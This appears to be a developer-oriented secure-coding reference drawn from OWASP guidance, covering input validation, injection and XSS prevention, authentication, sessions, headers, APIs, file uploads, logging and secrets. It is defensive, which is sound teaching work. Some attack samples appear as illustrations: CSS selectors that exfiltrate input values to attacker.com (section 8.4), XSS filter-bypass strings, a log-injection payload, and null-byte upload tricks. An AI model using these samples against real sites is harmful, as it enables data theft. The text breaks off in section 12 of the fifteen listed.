Security for Developers: The Complete Reference
Security for Developers: The Complete Reference
What every software developer needs to know about security, explained in developer terms. Synthesized from OWASP Cheat Sheet Series and industry best practices.
Table of Contents
- Handling User Input Safely
- Authentication Implementation
- Authorization Patterns
- Session Management
- Security Headers Reference
- API Security
- File Handling
- Third-Party Dependencies
- Client-Side Security
- Error Handling and Logging
- Secrets Management in Code
- Cryptographic Storage
- Injection Prevention Beyond SQL
- Deserialization Safety
- Secure Product Design Principles
1. Handling User Input Safely
Every vulnerability in this document traces back to one root cause: trusting user input. Input validation is not a feature -- it is the foundation of secure code.
1.1 The Two Levels of Validation
Syntactic validation enforces correct structure. A date field must look like a date. A zip code must match ^\d{5}(-\d{4})?$. This catches malformed data before it touches business logic.
Semantic validation enforces correct meaning. A start date must precede an end date. A price must fall within an expected range. A user can only modify their own records. This catches logically invalid data that is syntactically perfect.
Both are required. Neither alone is sufficient.
1.2 Allowlist Over Denylist -- No Exceptions
Denylist validation (blocking known-bad patterns) is a fundamentally flawed approach. Attackers have infinite creativity; your blocklist has finite entries. Every denylist-based filter has been bypassed in production.
Allowlist validation defines exactly what IS authorized. Everything else is rejected.
// WRONG: denylist approach
if (input.contains("<script>")) { reject(); }
// Bypassed by: <ScRiPt>, <script/src=...>, <img onerror=...>, etc.
// RIGHT: allowlist approach
private static final Pattern ZIP = Pattern.compile("^\\d{5}(-\\d{4})?$");
if (!ZIP.matcher(input).matches()) {
throw new ValidationException("Invalid zip code format");
}
1.3 Validation by Data Type
| Data Type | Validation Strategy |
|---|---|
| Integers | Parse to native int/long, reject on exception |
| Decimals | Parse to BigDecimal, validate range |
| Strings (constrained) | Regex anchored with ^...$, enforce max length |
| Strings (free-form) | Normalize Unicode, category-allowlist characters, enforce max length |
| Emails | Check structure + send verification token (32+ chars, single-use, 8hr expiry) |
| URLs | Parse with URL library, allowlist schemes (https only), validate host against allowlist |
| Dates | Parse to native date type, validate range semantically |
| Enumerations | Map to server-side values; never use client value directly |
| File names | Replace entirely with server-generated UUID; never use user-supplied name |
1.4 Client-Side vs. Server-Side
Client-side validation exists for UX -- fast feedback without a round trip. It provides zero security. Any JavaScript validation is bypassed with curl, Burp Suite, or browser devtools.
All validation must be enforced server-side. Client-side validation is a courtesy to legitimate users, not a defense against attackers.
1.5 Output Encoding by Context
Input validation prevents bad data from entering. Output encoding prevents data from being interpreted as code when rendered. The encoding must match the output context:
| Output Context | Encoding Method | Example Transformation |
|---|---|---|
| HTML body | HTML entity encoding | < becomes < |
| HTML attribute | HTML attribute encoding | " becomes " |
| JavaScript | JS Unicode encoding | < becomes \u003c |
| CSS | CSS hex encoding | ( becomes \28 |
| URL parameter | Percent encoding | < becomes %3C |
Wrong context = no protection. HTML-encoding a value placed inside a <script> tag does not prevent XSS. You must use JavaScript encoding in JavaScript contexts.
1.6 SQL Injection Prevention
Use parameterized queries. Always. In every language. No exceptions.
Java:
String query = "SELECT account_balance FROM user_data WHERE user_name = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, request.getParameter("customerName"));
ResultSet results = pstmt.executeQuery();
Python:
cursor.execute("SELECT * FROM users WHERE name = %s", (username,))
C# (.NET):
string sql = "SELECT * FROM Customers WHERE CustomerId = @CustomerId";
SqlCommand command = new SqlCommand(sql);
command.Parameters.Add(new SqlParameter("@CustomerId", System.Data.SqlDbType.Int));
command.Parameters["@CustomerId"].Value = 1;
PHP (PDO):
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);
Ruby (ActiveRecord):
Project.where("name = :name", name: user_input)
Rust (SQLx):
let users = sqlx::query_as!(User,
"SELECT * FROM users WHERE name = ?", username)
.fetch_all(&pool).await.unwrap();
For dynamic identifiers (table names, column names, sort order) where parameterization is impossible, use allowlist mapping:
String tableName;
switch (userParam) {
case "users": tableName = "app_users"; break;
case "orders": tableName = "app_orders"; break;
default: throw new InputValidationException("Invalid table selection");
}
Never escape user input as a primary defense. OWASP explicitly states: "This methodology is fragile compared to other defenses, and we CANNOT guarantee that this option will prevent all SQL injections in all situations."
1.7 XSS Prevention
Rule zero: Use a framework with auto-escaping (React, Angular, Vue, Jinja2 with autoescape). Then verify you never use the escape hatches:
| Framework | Dangerous Escape Hatch |
|---|---|
| React | dangerouslySetInnerHTML |
| Angular | bypassSecurityTrustAs* |
| Vue | v-html |
| Lit | unsafeHTML |
Safe DOM manipulation:
// DANGEROUS -- executes embedded scripts/HTML
element.innerHTML = userData;
// SAFE -- treats everything as text
element.textContent = userData;
// SAFE -- creates text node
document.createTextNode(userData);
For HTML that must contain markup (rich text editors, markdown), use DOMPurify:
let clean = DOMPurify.sanitize(dirty);
Never modify the DOM after sanitization -- that voids the protection.
1.8 DOM-Based XSS
DOM XSS occurs entirely in the browser when JavaScript reads attacker-controlled sources (URL, window.name, document.referrer) and passes them to dangerous sinks.
Dangerous sinks -- never pass untrusted data to these:
innerHTML,outerHTMLdocument.write(),document.writeln()eval(),new Function(),setTimeout(string),setInterval(string)element.setAttribute("onclick", ...)(event handler attributes)
Safe alternatives:
textContent(safest for text display)document.createElement()+setAttribute()for safe attributes +appendChild()JSON.parse()instead ofeval()for JSON- Function references instead of string arguments for timers:
// DANGEROUS
setTimeout("doSomething('" + userData + "')", 1000);
// SAFE
setTimeout(() => doSomething(userData), 1000);
1.9 Prototype Pollution (JavaScript)
Attackers manipulate __proto__ or constructor.prototype to poison objects application-wide. This can escalate to RCE in Node.js.
Prevention:
// Use Map/Set instead of plain objects for key-value stores
let options = new Map();
options.set('key', value);
// Create objects with no prototype
let obj = Object.create(null);
// Freeze objects that should not be modified
Object.freeze(importantConfig);
// Node.js: disable __proto__ entirely
// Start with: node --disable-proto=delete app.js
1.10 CSRF Prevention
Cross-Site Request Forgery tricks authenticated users into making unintended requests.
Primary defense -- Signed Double-Submit Cookie (stateless):
// Server generates token
secret = getSecret("CSRF_SECRET")
sessionID = session.sessionID
randomValue = crypto.randomBytes(32).toString('hex')
message = sessionID + "!" + randomValue
hmac = HMAC-SHA256(secret, message)
csrfToken = hmac + "." + randomValue
// Set as cookie AND expect in request header/body
Set-Cookie: csrf_token=<csrfToken>; Secure; SameSite=Lax
Framework-specific implementations:
Angular (built-in):
provideHttpClient(withXsrfConfiguration({
cookieName: 'XSRF-TOKEN',
headerName: 'X-XSRF-TOKEN'
}))
Axios (React):
axios.interceptors.request.use(config => {
if (!/^(GET|HEAD|OPTIONS)$/i.test(config.method)) {
config.headers['X-CSRF-Token'] = getCsrfToken();
}
return config;
});
Defense-in-depth -- SameSite cookies:
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly
SameSite=Lax is the browser default but is NOT a complete CSRF defense on its own. Use it alongside tokens.
Critical: XSS defeats ALL CSRF protections. Fix XSS first.
2. Authentication Implementation
2.1 Password Policies
| Parameter | Requirement |
|---|---|
| Minimum length (with MFA) | 8 characters |
| Minimum length (no MFA) | 15 characters |
| Maximum length | At least 64 characters |
| Character restrictions | None -- allow all Unicode, whitespace, special chars |
| Composition rules | Do not require uppercase/number/symbol minimums |
| Password rotation | Do not force periodic changes (NIST 800-63B) |
| Breach checking | Check against Pwned Passwords or equivalent database |
| Strength meter | Use zxcvbn-ts or similar entropy-based estimator |
| Truncation | Never silently truncate passwords |
2.2 Password Storage
Algorithm priority (use the first one available in your stack):
- Argon2id (preferred):
m=19456 (19 MiB), t=2, p=1- Alternative configs:
m=12288, t=3, p=1orm=9216, t=4, p=1
- Alternative configs:
- scrypt:
N=2^17 (128 MiB), r=8, p=1 - bcrypt: Work factor 10+, 72-byte password limit (legacy only)
- PBKDF2: 600,000+ iterations with HMAC-SHA-256 (FIPS-140 compliance only)
Peppering: Store a secret pepper in a vault or HSM (not in the database). The pepper is shared across all passwords, unlike salts which are per-password.
Work factor calibration: Hash time should be under 1 second. Tune parameters for your hardware. Recompute on infrastructure changes.
2.3 Authentication Error Messages
Never reveal whether the username or password was wrong:
// WRONG
"Invalid username"
"Invalid password"
"Account does not exist"
// RIGHT
"Login failed; invalid user ID or password"
For registration/password reset:
// WRONG
"This email is already registered"
// RIGHT
"If that email address is in our system, you will receive a reset link"
Response timing can still leak information. Ensure failed lookups take the same time as successful ones (constant-time comparison, same code path).
2.4 Multi-Factor Authentication
MFA prevents 99.9% of automated account compromise. Implement wherever feasible.
Priority order:
- FIDO2/WebAuthn/Passkeys (phishing-resistant, no shared secrets)
- TOTP authenticator apps
- SMS/email codes (better than nothing, vulnerable to SIM swap)
2.5 Login Throttling
Associate failed attempt counters with accounts, not IP addresses. Distributed attacks use thousands of IPs.
- Set a lockout threshold (e.g., 10 failed attempts)
- Define an observation window (e.g., within 15 minutes)
- Apply exponential backoff or temporary lockout
- Always allow password recovery access during lockouts (prevents denial-of-service via lockout)
2.6 Reauthentication Triggers
Require fresh credentials before:
- Changing password or email address
- Modifying payment methods or shipping addresses
- Account recovery or MFA enrollment/removal
- Any action flagged by adaptive risk scoring (new device, unusual location)
2.7 Transport Security
The login page and all authenticated pages must be served exclusively over TLS. No mixed content. No HTTP fallback. Enable HSTS (see Section 5).
3. Authorization Patterns
3.1 Access Control Models
RBAC (Role-Based Access Control): Permissions assigned to roles, users assigned to roles. Simple but prone to role explosion in complex systems. Works for coarse-grained access (admin/user/viewer).
ABAC (Attribute-Based Access Control): Decisions based on user attributes, resource attributes, and environmental conditions evaluated against policies. Handles complex scenarios: "Users in the engineering department can access staging environments during business hours."
ReBAC (Relationship-Based Access Control): Access determined by relationships. "Only the creator of a document can delete it." Used by Google Zanzibar and systems like SpiceDB.
Recommendation: Prefer ABAC or ReBAC over pure RBAC for anything beyond trivial permission models. RBAC leads to role explosion and permission creep.
3.2 Enforcement Rules
- Deny by default. If no rule explicitly grants access, the answer is no.
- Validate on every request. Use middleware/filters, not per-endpoint checks that can be forgotten.
- Server-side only. Client-side checks are cosmetic. The server is the enforcement point.
- Protect static resources too. Files on S3/CDN need access control just like API endpoints.
- Use framework mechanisms. Don't write custom authorization logic when your framework provides it. But audit the framework defaults -- they may not be secure.
- Protect lookup IDs. UUIDs are not access control. Checking
if (resource.ownerId == currentUser.id)is access control.
3.3 Common Authorization Vulnerabilities
| Vulnerability | What Goes Wrong | Fix |
|---|---|---|
| IDOR (Insecure Direct Object Reference) | /api/users/42/orders accessed by user 43 |
Check ownership on every resource access |
| Privilege escalation (vertical) | Regular user accesses admin endpoints | Role check in middleware, not just UI |
| Privilege escalation (horizontal) | User A accesses User B's data | Ownership validation on every query |
| Privilege creep | User retains permissions after role change | Periodic access reviews, JIT provisioning |
| Missing function-level access control | Hidden admin page has no server-side check | Middleware enforces auth on all routes |
3.4 The /me Pattern
Use identity-relative endpoints instead of user-ID-based ones:
// RISKY: Requires IDOR checks
GET /api/users/42/orders
// BETTER: Server resolves identity from session/token
GET /api/me/orders
The server extracts the user ID from the authenticated session. No user-supplied ID means no IDOR vector.
4. Session Management
4.1 Session ID Properties
| Property | Requirement |
|---|---|
| Entropy | Minimum 64 bits (128+ recommended) |
| Length | Minimum 16 hex characters |
| Generation | CSPRNG only (crypto.randomBytes, SecureRandom, secrets.token_hex) |
| Content | Meaningless random value; no PII, no business data, no encoded user info |
| Naming | Generic (id, token); avoid PHPSESSID, JSESSIONID (fingerprinting) |
| Transport | Cookie only; never in URL parameters or request body |
4.2 Cookie Security Attributes
Set-Cookie: __Host-session=<token>; Path=/; Secure; HttpOnly; SameSite=Lax
| Attribute | Purpose | Value |
|---|---|---|
Secure |
HTTPS-only transmission | Always set |
HttpOnly |
Block JavaScript access (document.cookie) |
Always set |
SameSite=Lax |
Restrict cross-site sending | Default minimum; use Strict for sensitive apps |
Path=/ |
Scope to entire application | Set explicitly |
__Host- prefix |
Prevents subdomain override; forces Secure, Path=/, no Domain |
Use for session cookies |
No Max-Age/Expires |
Session cookie (dies with browser) | Omit for post-auth sessions |
4.3 Session Lifecycle
Creation: Generate new session ID at login. Never reuse pre-authentication session IDs (session fixation).
Regeneration: Issue a new session ID on every privilege level change:
# Python/Flask
session.regenerate()
# PHP
session_regenerate_id(true);
# Java
request.getSession().invalidate();
request.getSession(true);
Idle timeout: 2-30 minutes depending on sensitivity. Enforce server-side only.
Absolute timeout: 4-8 hours maximum regardless of activity.
Logout: Invalidate the server-side session object AND clear the client cookie:
Set-Cookie: __Host-session=; Path=/; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Secure; HttpOnly
Use Clear-Site-Data: "cookies", "storage" header on logout responses for thorough cleanup.
4.4 Session Attack Prevention
| Attack | Defense |
|---|---|
| Session fixation | Regenerate ID after authentication; accept only server-generated IDs |
| Session hijacking | Bind to User-Agent + IP; detect anomalies; use __Host- prefix |
| Session brute force | 128-bit entropy; rate limit; monitor sequential ID probing |
| Cross-site session theft | HttpOnly; SameSite; CSP; prevent XSS |
5. Security Headers Complete Reference
5.1 Required Headers
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: [see Section 5.3]
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Resource-Policy: same-site
Cross-Origin-Embedder-Policy: require-corp
Cache-Control: no-store
5.2 Headers to Remove
| Header | Why |
|---|---|
Server |
Leaks web server software and version |
X-Powered-By |
Leaks application framework |
X-AspNet-Version |
Leaks .NET version |
X-AspNetMvc-Version |
Leaks MVC version |
X-XSS-Protection |
Deprecated; set to 0 if present or remove entirely |
5.3 Content Security Policy
Strict CSP with nonces (recommended):
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Server generates a unique random nonce per response:
const nonce = crypto.randomUUID();
res.setHeader('Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none';`);
Every <script> tag in the response includes the nonce:
<script nonce="<%= nonce %>">
// application code
</script>
Strict CSP with hashes (for static sites):
Content-Security-Policy:
script-src 'sha256-{HASH_OF_INLINE_SCRIPT}' 'strict-dynamic';
object-src 'none';
base-uri 'none';
Allowlist-based CSP (fallback if strict is infeasible):
Content-Security-Policy:
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self';
style-src 'self';
font-src 'self';
frame-ancestors 'none';
form-action 'self';
base-uri 'none';
CSP directive reference:
| Directive | Controls | Recommended Value |
|---|---|---|
default-src |
Fallback for all fetch directives | 'none' or 'self' |
script-src |
JavaScript execution | 'nonce-{RANDOM}' 'strict-dynamic' |
style-src |
CSS loading | 'self' (avoid 'unsafe-inline') |
img-src |
Image sources | 'self' + trusted CDNs |
connect-src |
XHR, fetch, WebSocket targets | 'self' + API domains |
font-src |
Web font sources | 'self' + font CDNs |
object-src |
Plugin content (Flash, Java) | 'none' |
base-uri |
<base> element URLs |
'none' |
form-action |
Form submission targets | 'self' |
frame-ancestors |
Who can embed this page | 'none' (replaces X-Frame-Options) |
upgrade-insecure-requests |
Auto-upgrade HTTP to HTTPS | Include for migration |
Deploy strategy: Start with Content-Security-Policy-Report-Only to collect violations without breaking functionality. Monitor reports. Fix violations. Switch to enforcing.
Refactoring requirements:
// BEFORE: inline event handlers (blocked by CSP)
<button onclick="doSomething()">Click</button>
// AFTER: external event listeners (CSP-compliant)
document.getElementById('myButton').addEventListener('click', doSomething);
5.4 Implementation Examples
Nginx:
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), camera=(), microphone=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Resource-Policy "same-site" always;
# Remove information leakage headers
server_tokens off;
more_clear_headers 'X-Powered-By';
Express.js (use Helmet):
const helmet = require('helmet');
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'none'"],
scriptSrc: ["'self'"],
styleSrc: ["'self'"],
imgSrc: ["'self'"],
connectSrc: ["'self'"],
fontSrc: ["'self'"],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
formAction: ["'self'"],
baseUri: ["'none'"],
}
},
crossOriginEmbedderPolicy: true,
crossOriginOpenerPolicy: { policy: "same-origin" },
crossOriginResourcePolicy: { policy: "same-site" },
hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
frameguard: { action: "deny" },
referrerPolicy: { policy: "strict-origin-when-cross-origin" },
}));
app.disable('x-powered-by');
Apache (.htaccess):
<IfModule mod_headers.c>
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "geolocation=(), camera=(), microphone=()"
Header always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-site"
Header always unset X-Powered-By
Header always unset Server
</IfModule>
ServerTokens Prod
ServerSignature Off
6. API Security
6.1 Authentication and Access
- Serve APIs exclusively over HTTPS. No exceptions.
- Use OAuth 2.0 / OIDC for delegated authorization. Avoid Basic Auth.
- Require API keys for every protected endpoint.
- Implement rate limiting; respond with
429 Too Many Requests. - Validate JWT tokens rigorously: verify
iss,aud,exp,nbf, signature algorithm. Never allow{"alg":"none"}. - Don't select verification algorithms from the JWT header -- use server-configured algorithm.
- Implement token denylists for explicit revocation (logout, compromise).
6.2 Input Handling
- Validate
Content-Typeheader. Reject unexpected types with415 Unsupported Media Type. - Enforce maximum request body size. Return
413 Request Entity Too Largeon violation. - Validate length, range, format, and type for all parameters.
- Use allowlisted HTTP methods. Return
405 Method Not Allowedfor others. - Use UUIDs instead of sequential integer IDs to prevent enumeration.
- Never place credentials or tokens in URL query strings (they end up in server logs, browser history, referrer headers).
6.3 Output Handling
- Set
Content-Typeto match actual response format. Never copy theAcceptheader. - Return generic error messages. Log details server-side only.
- Never expose stack traces, internal paths, database errors, or framework versions.
- Remove fingerprinting headers (
Server,X-Powered-By). - Include security headers on all responses (see Section 5).
6.4 REST-Specific Concerns
- Use
GETfor reads,POST/PUT/PATCHfor writes,DELETEfor removal. Never useGETfor state changes. - Validate workflow sequences server-side. Enforce state machine transitions. Test for out-of-order execution.
- Set
Cache-Control: no-storeon sensitive responses. - Use
Content-Security-Policy: frame-ancestors 'none'to prevent API response framing.
6.5 GraphQL-Specific Concerns
- Disable introspection in production.
- Implement query depth limiting.
- Use query cost analysis to prevent resource exhaustion.
- Apply field-level authorization, not just type-level.
6.6 CORS Configuration
If cross-domain access is not needed, do not set CORS headers.
When CORS is required:
Access-Control-Allow-Origin: https://trusted-app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
Never use Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. This is blocked by browsers for good reason.
6.7 API Security Checklist
| Category | Requirements |
|---|---|
| Auth | Standard protocols (OAuth2/OIDC), max retry + lockout, encrypt all sensitive data |
| Access | Rate limiting, HTTPS + TLS 1.2+, HSTS, private API IP allowlisting |
| OAuth | Validate redirect URIs server-side, exchange auth codes (no implicit flow), random state parameter |
| Input | Validate Content-Type, sanitize for SQLi/XSS/RCE, never put credentials in URLs |
| Processing | Auth check on every endpoint, use /me/ pattern, UUIDs not sequential IDs, disable XML entity parsing |
| Output | Security headers, generic errors, correct Content-Type, appropriate HTTP status codes |
| CI/CD | Peer code review, SAST/DAST, dependency scanning, rollback procedures |
| Monitoring | Centralized logging, traffic monitoring, alerting, IDS/IPS, never log sensitive data |
7. File Handling
7.1 File Upload Security
File uploads are one of the highest-risk features in any application. Every step requires defensive measures.
Validation checklist:
| Check | How |
|---|---|
| Extension | Allowlist only (.jpg, .png, .pdf). Block .php, .jsp, .exe, .sh, .bat, .htaccess |
| Content-Type | Check but don't trust (trivially spoofed). Use as fast rejection, not sole validation |
| File signature (magic bytes) | Verify file header matches expected type. Still bypassable -- use as defense-in-depth |
| File size | Enforce per-file AND per-request limits |
| Filename | Discard entirely. Generate server-side UUID. Never use user-supplied names |
| Double extensions | Watch for .jpg.php, .png.jsp -- validate after decoding |
| Null bytes | Block file.php%00.jpg patterns |
| Directory traversal | Block ../ in any form after decoding |
Storage strategy (in order of preference):
- Separate host/service (e.g., dedicated S3 bucket with no server-side execution)
- Outside the webroot with controlled access paths
- Inside webroot with write-only permissions and execution disabled
Additional protections:
- Require authentication before upload capability
- Scan with antivirus/sandbox
- Apply Content Disarm & Reconstruct (CDR) for documents
- Implement CSRF protection on upload endpoints
- For images: rewrite/re-encode to strip embedded payloads
- For ZIPs: generally avoid accepting them (too many attack vectors)
- Serve uploaded files with
Content-Disposition: attachmentto prevent inline execution
7.2 File Download Security
- Set
Content-Typeaccurately - Use
Content-Disposition: attachmentfor non-viewable files - Validate requested file paths against an allowlist of permitted directories
- Never construct file paths from user input without canonicalization and validation
- Check authorization before serving the file
8. Third-Party Dependencies
8.1 JavaScript Supply Chain Risks
When you include a third-party script, you give that third party full access to your users' session, DOM, cookies, and data. This is equivalent to an XSS vulnerability that you installed on purpose.
Three core risks:
- Loss of control: The vendor pushes a new version that breaks your app or introduces vulnerabilities
- Arbitrary code execution: Unreviewed code runs with your users' full privileges
- Data exfiltration: Browser requests to vendor domains leak IP, referrer, cookies
8.2 Defense Strategies (Priority Order)
1. Server-Side Data Layer (most secure): Create a host-controlled data layer. Your server communicates with vendor APIs. No vendor JavaScript executes in user browsers.
2. Subresource Integrity (SRI):
<script src="https://cdn.vendor.com/analytics.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8w"
crossorigin="anonymous">
</script>
SRI ensures the fetched file matches the expected hash. Any modification (CDN compromise, MITM, vendor pushing malicious update) causes the browser to reject the script.
Limitations: Requires vendor CORS support. Hash must be updated when vendor legitimately updates the script.
3. iframe Sandboxing:
<iframe src="https://static.yoursite.com/vendor-container.html"
sandbox="allow-scripts"
referrerpolicy="no-referrer">
</iframe>
Isolates vendor code from your DOM, cookies, and session.
4. Content Security Policy: Restrict which domains can serve scripts:
Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
8.3 Dependency Management
- Monitor dependencies with tools like
npm audit, Dependabot, Snyk, RetireJS - Pin dependency versions in lock files (
package-lock.json,uv.lock,Gemfile.lock) - Review changelogs before updating
- Generate and maintain Software Bill of Materials (SBOM)
- Use private registries or mirrors for critical dependencies
- Audit transitive dependencies, not just direct ones
8.4 CSS Security
CSS is not just styling -- it can exfiltrate data:
/* CSS-based data exfiltration via attribute selectors */
input[value^="a"] { background: url(https://attacker.com/leak?char=a); }
input[value^="b"] { background: url(https://attacker.com/leak?char=b); }
Mitigations:
- Separate CSS files by access level; enforce access control on stylesheet loading
- Use CSS-in-JS with minification to obfuscate class names
- Restrict CSS properties in user-generated content
- Sanitize HTML that might contain style injection
9. Client-Side Security
9.1 Content Security Policy (CSP)
See Section 5.3 for complete CSP reference.
9.2 Subresource Integrity (SRI)
Apply to all external scripts and stylesheets:
<script src="https://cdn.example.com/lib.js"
integrity="sha384-<hash>"
crossorigin="anonymous"></script>
<link rel="stylesheet" href="https://cdn.example.com/style.css"
integrity="sha384-<hash>"
crossorigin="anonymous">
Generate hashes:
echo -n "file contents" | openssl dgst -sha384 -binary | openssl base64 -A
# Or use: shasum -b -a 384 file.js | xxd -r -p | base64
9.3 CORS (Cross-Origin Resource Sharing)
Default behavior: Browsers block cross-origin requests. CORS relaxes this selectively.
Configuration rules:
- If you don't need cross-origin access: don't set CORS headers
- Never use
Access-Control-Allow-Origin: *for authenticated endpoints - Validate the
Originheader against an allowlist server-side - Don't reflect the
Originheader value back without validation (open redirect equivalent)
# WRONG: reflecting origin without validation
response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']
# RIGHT: validating against allowlist
ALLOWED_ORIGINS = {'https://app.example.com', 'https://admin.example.com'}
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Vary'] = 'Origin'
9.4 AJAX Security
- Never use
eval(),new Function(), or similar dynamic code execution - Use
textContentinstead ofinnerHTMLfor API response data - Wrap JSON responses in objects, never return bare arrays:
Bare arrays ({"result": [{"data": "value"}]}[{"data":"value"}]) were historically vulnerable to JSON hijacking. - All security logic must be server-side. JavaScript validation is cosmetic.
- Never transmit secrets to the client
- Implement schema validation on all API inputs
9.5 Clickjacking Prevention
Content-Security-Policy: frame-ancestors 'none';
X-Frame-Options: DENY
Use frame-ancestors (CSP) as the primary defense. Keep X-Frame-Options for legacy browser support. If embedding by specific partners is needed:
Content-Security-Policy: frame-ancestors https://trusted-partner.com;
10. Error Handling and Logging
10.1 Error Handling Rules
What users see:
{
"type": "about:blank",
"title": "An error occurred",
"status": 500,
"detail": "Please try again later. If the problem persists, contact support.",
"instance": "/api/orders/42"
}
Use RFC 7807 Problem Details format for APIs (application/problem+json).
What users must never see:
- Stack traces
- Database query errors or table names
- File paths or server directory structure
- Framework names, versions, or configuration
- Internal IP addresses or hostnames
What gets logged server-side:
- Full stack trace and exception message
- Request context (URL, method, headers, sanitized body)
- User identity (from session, not from input)
- Timestamp with timezone
- Correlation ID (also returned to user for support reference)
10.2 HTTP Status Codes
Use semantically correct codes:
| Code | Meaning | When to Use |
|---|---|---|
| 400 | Bad Request | Malformed input, validation failure |
| 401 | Unauthorized | Missing or invalid authentication |
| 403 | Forbidden | Authenticated but not authorized |
| 404 | Not Found | Resource does not exist (also use for unauthorized resources to prevent enumeration) |
| 405 | Method Not Allowed | Wrong HTTP method |
| 413 | Payload Too Large | Request body exceeds limit |
| 415 | Unsupported Media Type | Wrong Content-Type |
| 422 | Unprocessable Entity | Syntactically valid but semantically invalid |
| 429 | Too Many Requests | Rate limit exceeded |
| 500 | Internal Server Error | Unhandled server-side failure |
10.3 Secure Logging
Always log these security events:
- Input validation failures
- Authentication successes AND failures
- Authorization failures (access control denials)
- Session management failures (tampered cookies/tokens)
- Application errors and unhandled exceptions
- Administrative actions (user creation, permission changes)
- Sensitive data access (PII queries, report generation)
- Data import/export and file uploads
- Configuration and code changes
Never log these directly:
- Passwords, API keys, tokens, secrets
- Session IDs (hash them if tracking is needed)
- Credit card numbers, bank account numbers
- Health data, government IDs
- Encryption keys, database connection strings
Handle these carefully (mask, hash, or encrypt):
- Names, emails, phone numbers
- Internal IP addresses, file paths
- Any PII the user has not consented to collect
10.4 Log Injection Prevention
Log entries from untrusted input can inject fake log lines:
// Attacker submits username: "admin\n2026-03-14 INFO Login successful for admin"
// Result: fake log entry appears legitimate
Prevention:
- Sanitize all log input: strip CR (
\r), LF (\n), and delimiter characters - Encode data for the log output format
- Use structured logging (JSON) where field boundaries are unambiguous
- Apply parameterized logging:
# WRONG: string concatenation logger.info("Login attempt for user: " + username) # RIGHT: parameterized logger.info("Login attempt for user: %s", username)
10.5 Log Infrastructure
- Store logs on a separate partition from the application
- Use append-only/tamper-evident storage
- Transmit logs over TLS to centralized SIEM
- Synchronize time across all servers (NTP)
- Restrict log access to authorized personnel
- Set retention periods based on regulatory requirements
- Ensure logging failures do not crash the application
11. Secrets Management in Code
11.1 The Rules
- Never hardcode secrets in source code. Not in variables, not in comments, not in config files checked into version control.
- Never store secrets as environment variables. They leak into child processes, crash dumps,
/procfilesystem, logging output, and container inspection. - Never commit secrets to git. Even if you delete them later -- they persist in git history indefinitely.
11.2 Where Secrets Belong
| Tier | Solution | Use Case |
|---|---|---|
| Best | Hardware Security Module (HSM) | Signing keys, root CAs |
| Strong | Managed vault (HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager) | Application secrets, API keys, database credentials |
| Acceptable | Encrypted file with restricted permissions, mounted at runtime | Containerized deployments, small teams |
| Last resort | Environment variable injected by orchestrator (Kubernetes Secrets, ECS task definitions) | When vault integration is infeasible |
11.3 Secret Lifecycle
Creation: Generate with CSPRNG. Use maximum entropy for the use case. Never derive from predictable sources.
Rotation: Automate rotation. Trigger rotation on:
- Scheduled interval (defined cryptoperiod)
- Suspected compromise
- Personnel changes (employee departure)
- Infrastructure changes
Revocation: Revoke immediately on compromise. Have the capability to revoke any secret within minutes.
Expiration: Secrets should have maximum lifetimes. Short-lived tokens (15-60 minutes) are preferable to long-lived API keys.
11.4 CI/CD Pipeline Security
- Don't store long-lived high-value secrets in CI/CD systems
- Use short-lived credentials that expire when the pipeline job completes
- Scope credentials to only the secrets and services needed for that job
- Rotate CI/CD credentials frequently
- Monitor for suspicious secret access patterns
- Implement alerts for non-standard pipeline manipulation
11.5 Incident Response for Exposed Secrets
When a secret is exposed (committed to git, leaked in logs, found in a breach):
- Revoke immediately. Don't analyze first. Revoke, then investigate.
- Rotate. Generate new secret, deploy to all consumers via automation.
- Remove from source. Delete from the compromised system.
- Clean git history if committed (but note: rewriting history breaks commit references).
- Audit access logs. Determine if the secret was used maliciously.
- Post-mortem. Understand how it happened. Implement prevention (pre-commit hooks, secret scanning).
11.6 Detection and Prevention Tools
- Pre-commit hooks: git-secrets, truffleHog, detect-secrets
- CI scanning: GitHub secret scanning, GitLab secret detection, gitleaks
- Runtime: Vault audit logs, CloudTrail, Azure Activity Logs
12. Cryptographic Storage
12.1 Algorithm Selection
| Use Case | Algorithm | Key Size |
|---|---|---|
| Symmetric encryption (data at rest) | AES-GCM or AES-CCM | 256-bit (128-bit minimum) |
